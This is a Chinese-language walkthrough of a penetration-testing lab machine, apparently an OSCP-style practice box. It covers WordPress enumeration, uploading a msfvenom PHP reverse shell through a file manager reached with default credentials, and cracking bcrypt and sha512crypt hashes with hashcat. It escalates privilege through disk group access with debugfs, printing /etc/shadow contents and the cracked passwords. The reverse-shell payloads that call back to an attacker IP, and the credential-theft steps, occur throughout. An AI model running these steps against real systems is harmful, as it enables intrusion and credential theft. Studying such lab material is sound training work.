Difficuty Midum
scans 1 2 3 4 5 6 [ *] ssh found on tcp/22. OpenSSH 8.2 p1 [ *] http found on tcp/80. Apache/2.4 .41 (Ubuntu)
80 wordpress 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 gobuster dir -w /usr/share =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [ +] Url: http: [ +] Method: GET[ +] Threads: 40 [ +] Wordlist: /usr/share[ +] Negative Status codes: 404 [ +] User Agent: gobuster/3.6 [ +] Timeout: 10 s=============================================================== Starting gobuster in directory enumeration mode =============================================================== /wp-content (Status: 301 ) [ Size: 321 ] [ --> http: /wordpress (Status: 301 ) [ Size: 320 ] [ --> http: /wp-includes (Status: 301 ) [ Size: 322 ] [ --> http: /wp-admin (Status: 301 ) [ Size: 319 ] [ --> http:
wpscan 确认版本6.2, 没扫描到插件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 wpscan --url http: _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__, _|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8 .27 Sponsored by Automattic - https: @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________ [ +] URL: http: [ +] Effective URL: http: [ +] Started: Sat Feb 15 23 : 15 : 32 2025 Interesting Finding(s): [ +] Headers | Interesting Entry: Server: Apache/2.4 .41 (Ubuntu) | Found By: Headers (Passive Detection) | Confidence: 100 % [ +] WordPress readme found: http: | Found By: Direct Access (Aggressive Detection) | Confidence: 100 % [ +] WordPress version 6.2 identified (Insecure, released on 2023 -03 -29 ). | Found By: Most Common Wp Includes Query Parameter In Homepage (Passive Detection) | - http: | Confirmed By: | Common Wp Includes Query Parameter In Homepage (Passive Detection) | - http: | Style Etag (Aggressive Detection) | - http: [ i] The main theme could not be detected.[ +] Enumerating All Plugins (via Passive Methods)[ i] No plugins Found.[ +] Enumerating Config Backups (via Passive and Aggressive Methods) Checking Config Backups - Time: 00 : 00 : 08 <=================================================================> (137 / 137 ) 100.00 % Time: 00 : 00 : 08 [ i] No Config Backups Found.[ !] No WPScan API Token given, as a result vulnerability data has not been output.[ !] You can get a free API token with 25 daily requests by registering at https: [ +] Finished: Sat Feb 15 23 : 16 : 51 2025 [ +] Requests Done: 169 [ +] Cached Requests: 5 [ +] Data Sent: 35.328 KB[ +] Data Received: 42.482 KB[ +] Memory used: 208.801 MB[ +] Elapsed time: 00 : 01 : 18
测试默认账号密码都没有结果
foodhold gobuster扫到目录filemanager
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 gobuster dir -w /usr/share =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [ +] Url: http: [ +] Method: GET[ +] Threads: 40 [ +] Wordlist: /usr/share[ +] Negative Status codes: 404 [ +] User Agent: gobuster/3.6 [ +] Timeout: 10 s=============================================================== Starting gobuster in directory enumeration mode =============================================================== /.htaccess (Status: 403 ) [ Size: 279 ] /.htpasswd (Status: 403 ) [ Size: 279 ] /.hta (Status: 403 ) [ Size: 279 ] /filemanager (Status: 301 ) [ Size: 322 ] [ --> http: /index.php (Status: 302 ) [ Size: 0 ] [ --> http: /server-status (Status: 403 ) [ Size: 279 ] /wordpress (Status: 301 ) [ Size: 320 ] [ --> http: /wp-admin (Status: 301 ) [ Size: 319 ] [ --> http: /wp-content (Status: 301 ) [ Size: 321 ] [ --> http: /wp-includes (Status: 301 ) [ Size: 322 ] [ --> http: /xmlrpc.php (Status: 302 ) [ Size: 0 ] [ --> http: Progress: 4614 / 4615 (99.98 %) =============================================================== Finished ===============================================================
使用admin:admin可以登录,并且有上传文件权限,msfvenom -p php/reverse_php LHOST=192.168.45.184 LPORT=4444 -f raw -o shell.php
生成webshell上传,curl ip:port/filemanager/shell.php 得到shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 rlwrap nc -nvlp 4444 listening on [ any] 4444 ... connect to [ 192.168 .45 .234 ] from (UNKNOWN) [ 192.168 .212 .16 ] 57546 id uid=33 (www-data) gid=33 (www-data) groups=33 (www-data) cat /etc/passwd root: x: 0 : 0 : root: /root: /bin/bash daemon: x: 1 : 1 : daemon: /usr/sbin: /usr/sbin/nologin bin: x: 2 : 2 : bin: /bin: /usr/sbin/nologin sys: x: 3 : 3 : sys: /dev: /usr/sbin/nologin sync: x: 4 : 65534 : sync: /bin: /bin/sync games: x: 5 : 60 : games: /usr/games: /usr/sbin/nologin man: x: 6 : 12 : man: /var/cache/man: /usr/sbin/nologin lp: x: 7 : 7 : lp: /var/spool/lpd: /usr/sbin/nologin mail: x: 8 : 8 : mail: /var/mail: /usr/sbin/nologin news: x: 9 : 9 : news: /var/spool/news: /usr/sbin/nologin uucp: x: 10 : 10 : uucp: /var/spool/uucp: /usr/sbin/nologin proxy: x: 13 : 13 : proxy: /bin: /usr/sbin/nologin www-data: x: 33 : 33 : www-data: /var/www: /usr/sbin/nologin backup: x: 34 : 34 : backup: /var/backups: /usr/sbin/nologin list: x: 38 : 38 : Mailing List Manager: /var/list: /usr/sbin/nologin irc: x: 39 : 39 : ircd: /var/run/ircd: /usr/sbin/nologin gnats: x: 41 : 41 : Gnats Bug-Reporting System (admin): /var/lib/gnats: /usr/sbin/nologin nobody: x: 65534 : 65534 : nobody: /nonexistent: /usr/sbin/nologin systemd-network: x: 100 : 102 : systemd Network Management, , , : /run/systemd: /usr/sbin/nologin systemd-resolve: x: 101 : 103 : systemd Resolver, , , : /run/systemd: /usr/sbin/nologin systemd-timesync: x: 102 : 104 : systemd Time Synchronization, , , : /run/systemd: /usr/sbin/nologin messagebus: x: 103 : 106 : : /nonexistent: /usr/sbin/nologin syslog: x: 104 : 110 : : /home/syslog: /usr/sbin/nologin _apt: x: 105 : 65534 : : /nonexistent: /usr/sbin/nologin tss: x: 106 : 111 : TPM software stack, , , : /var/lib/tpm: /bin/false uuidd: x: 107 : 112 : : /run/uuidd: /usr/sbin/nologin tcpdump: x: 108 : 113 : : /nonexistent: /usr/sbin/nologin landscape: x: 109 : 115 : : /var/lib/landscape: /usr/sbin/nologin pollinate: x: 110 : 1 : : /var/cache/pollinate: /bin/false usbmux: x: 111 : 46 : usbmux daemon, , , : /var/lib/usbmux: /usr/sbin/nologin sshd: x: 112 : 65534 : : /run/sshd: /usr/sbin/nologin systemd-coredump: x: 999 : 999 : systemd Core Dumper: /: /usr/sbin/nologin lxd: x: 998 : 100 : : /var/snap/lxd/common/lxd: /bin/false fwupd-refresh: x: 113 : 117 : fwupd-refresh user, , , : /run/systemd: /usr/sbin/nologin dora: x: 1000 : 1000 : : /home/dora: /bin/sh cd /home/dora ls local.txt cat local.txt ls -al local.txt -r-------- 1 dora dora 33 Feb 1602 : 29 local.txt
查看 etc/passwd
发现有用户dora, 在dora主目录中有local.txt文件,但是www-data没有查看权限, 尝试在 /var/www/html
搜索dora: grep dora * -r
, 发现dora hash: $2a$08$zyiNvVoP/UuSMgO2rKDtLuox.vYj.3hZPVYq3i4oG3/CtgET7CjjS
1 2 3 4 5 $ cd /var/www/html $ grep dora * -r filemanager/config/.htusers.php: array('dora', '$2 a$08 $zyiNvVoP/UuSMgO2rKDtLuox.vYj.3 hZPVYq3i4oG3/CtgET7CjjS', '/var/www/html', 'http: wp-includes/js/plupload/moxie.js: /(joli|[ kxln] ?ubuntu|debian|[ open] *suse|gentoo|arch|slackware|fedora|mandriva|centos|pclinuxos|redhat|zenwalk|linpus)[ \/\s-] ?([ \w\.-] +)*/i, wp-includes/js/plupload/moxie.js:
hashcat 爆破密码得到 doraemon
1 2 3 4 5 hashcat -h |grep '$2 a' hashcat -h |grep '$2 ' 3200 | bcrypt $2 *$, Blowfish (Unix) | Operating System hashcat -m 3200 dora.hash /usr/share/wordlists/rockyou.txt
ssh登录失败, 只能通过密钥对方式登录
1 2 3 4 5 6 7 8 ssh dora@192.168 .212 .16 The authenticity of host '192.168 .212 .16 (192.168 .212 .16 )' can't be established. ED25519 key fingerprint is SHA256: VnMMoSlX8Y0MsU947B2bAEqDX+KmnqpFLFXtLgsOERw. This host key is known by the following other names/addresses: ~/.ssh/known_hosts: 1 : [ hashed name] Are you sure you want to continue connecting (yes/no/[ fingerprint] )? yes Warning: Permanently added '192.168 .212 .16 ' (ED25519) to the list of known hosts. dora@192.168 .212 .16 : Permission denied (publickey).
但是在反弹的www-data的shell里,无法升级到交互式的shell, pyhthon, script, perl, socat都试过了,都不行,最后使用msf获取到shell可以正常切换用户
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.45.234 LPORT=4444 -f raw -o r.php
生成msf反弹shell payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 use exploit/multi/fileformat/js_unpacker_eval_injection msf6 > use exploit/multi/handler [ *] Using configured payload generic/shell_reverse_tcpmsf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp payload => php/meterpreter/reverse_tcp View the full module info with the info, or info -d command. msf6 exploit(multi/handler) > set Lhost tun0 Lhost => 192.168 .45 .234 msf6 exploit(multi/handler) > exploit [ *] Started reverse TCP handler on 192.168 .45 .234 : 4444 [ *] Sending stage (39927 bytes) to 192.168 .212 .16 se[ *] Meterpreter session 1 opened (192.168 .45 .234 : 4444 -> 192.168 .212 .16 : 37902 ) at 2025 -02 -16 12 : 47 : 41 +0800 meterpreter > shell Process 34439 created. Channel 0 created. su dora Password: doraemon id uid=1000 (dora) gid=1000 (dora) groups=1000 (dora), 6 (disk)
escalation diskgroup 1 2 id uid=1000 (dora) gid=1000 (dora) groups=1000 (dora), 6 (disk)
dora用户有diskgroup权限 , 详见:Disk-group提权
首先查看/root挂在磁盘,/dev/mapper/ubuntu--vg-ubuntu--lv
挂在在 /
目录,执行 debugfs /dev/mapper/ubuntu--vg-ubuntu--lv
发现无法写文件,无法实现通过写公钥然后通过ssh登录,在/root/.ssh下也没有公私钥,之后authorized_keys文件
读取/etc/shadow文件,得到root hash: $6$AIWcIr8PEVxEWgv1$3mFpTQAc9Kzp4BGUQ2sPYYFE/dygqhDiv2Yw.XcU.Q8n1YO05.a/4.D/x4ojQAkPnv/v7Qrw7Ici7.hs0sZiC.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 $ df -h Filesystem Size Used Avail Use% Mounted on udev 947 M 0 947 M 0 % /dev tmpfs 199 M 1.2 M 198 M 1 % /run /dev/mapper/ubuntu--vg-ubuntu--lv 9.8 G 5.1 G 4.3 G 55 % / tmpfs 992 M 0 992 M 0 % /dev/shm tmpfs 5.0 M 0 5.0 M 0 % /run/lock tmpfs 992 M 0 992 M 0 % /sys/fs/cgroup /dev/loop0 62 M 62 M 0 100 % /snap/core20/1611 /dev/loop2 50 M 50 M 0 100 % /snap/snapd/18596 /dev/loop1 64 M 64 M 0 100 % /snap/core20/1852 /dev/loop3 92 M 92 M 0 100 % /snap/lxd/24061 /dev/loop4 68 M 68 M 0 100 % /snap/lxd/22753 /dev/sda2 1.7 G 209 M 1.4 G 13 % /boot tmpfs 199 M 0 199 M 0 % /run/user/1000 $ debugfs /dev/mapper/ubuntu--vg-ubuntu--lv debugfs 1.45 .5 (07 -Jan-2020 ) debugfs: mkdir test mkdir: Filesystem opened read/only debugfs: ls /root/.ssh debugfs: cd /root/.ssh debugfs: ls authorized_keys debugfs: cat /etc/shadow root: $6 $AIWcIr8PEVxEWgv1$3 mFpTQAc9Kzp4BGUQ2sPYYFE/dygqhDiv2Yw.XcU.Q8n1YO05.a/4. D/x4ojQAkPnv/v7Qrw7Ici7.hs0sZiC.: 19453 : 0 : 99999 : 7 : : : daemon: *: 19235 : 0 : 99999 : 7 : : : bin: *: 19235 : 0 : 99999 : 7 : : : sys: *: 19235 : 0 : 99999 : 7 : : : sync: *: 19235 : 0 : 99999 : 7 : : : games: *: 19235 : 0 : 99999 : 7 : : : man: *: 19235 : 0 : 99999 : 7 : : : lp: *: 19235 : 0 : 99999 : 7 : : : mail: *: 19235 : 0 : 99999 : 7 : : : news: *: 19235 : 0 : 99999 : 7 : : : uucp: *: 19235 : 0 : 99999 : 7 : : : proxy: *: 19235 : 0 : 99999 : 7 : : : www-data: *: 19235 : 0 : 99999 : 7 : : : backup: *: 19235 : 0 : 99999 : 7 : : : list: *: 19235 : 0 : 99999 : 7 : : : irc: *: 19235 : 0 : 99999 : 7 : : : gnats: *: 19235 : 0 : 99999 : 7 : : : nobody: *: 19235 : 0 : 99999 : 7 : : : systemd-network: *: 19235 : 0 : 99999 : 7 : : : systemd-resolve: *: 19235 : 0 : 99999 : 7 : : : systemd-timesync: *: 19235 : 0 : 99999 : 7 : : : messagebus: *: 19235 : 0 : 99999 : 7 : : : syslog: *: 19235 : 0 : 99999 : 7 : : : _apt: *: 19235 : 0 : 99999 : 7 : : : tss: *: 19235 : 0 : 99999 : 7 : : : uuidd: *: 19235 : 0 : 99999 : 7 : : : tcpdump: *: 19235 : 0 : 99999 : 7 : : : landscape: *: 19235 : 0 : 99999 : 7 : : : pollinate: *: 19235 : 0 : 99999 : 7 : : : usbmux: *: 19381 : 0 : 99999 : 7 : : : sshd: *: 19381 : 0 : 99999 : 7 : : : systemd-coredump: !!: 19381 : : : : : : lxd: !: 19381 : : : : : : fwupd-refresh: *: 19381 : 0 : 99999 : 7 : : : dora: $6 $PkzB/mtNayFM5eVp$b6LU19HBQaOqbTehc6/LEk8DC2NegpqftuDDAvOK20c6yf3dFo0esC0vOoNWHqvzF0aEb3jxk39sQ/S4vGoGm/: 19453 : 0 : 99999 : 7 : : :
爆破得到密码 explorer
1 2 3 4 5 hashcat -h |grep '$6 ' 1800 | sha512crypt $6 $, SHA512 (Unix) | Operating System 22921 | RSA/DSA/EC/OpenSSH Private Keys ($6 $) | Private Key hashcat -m 1800 root.hash /usr/share/wordlists/rockyou.txt
反思
提权是看到了 dora 有权限 6(disk), 甚至linpeas中都有黄色背景的利用标识,为什么还是先给忽略了?
还是优先尝试自己熟悉的东西,要从最明显的开始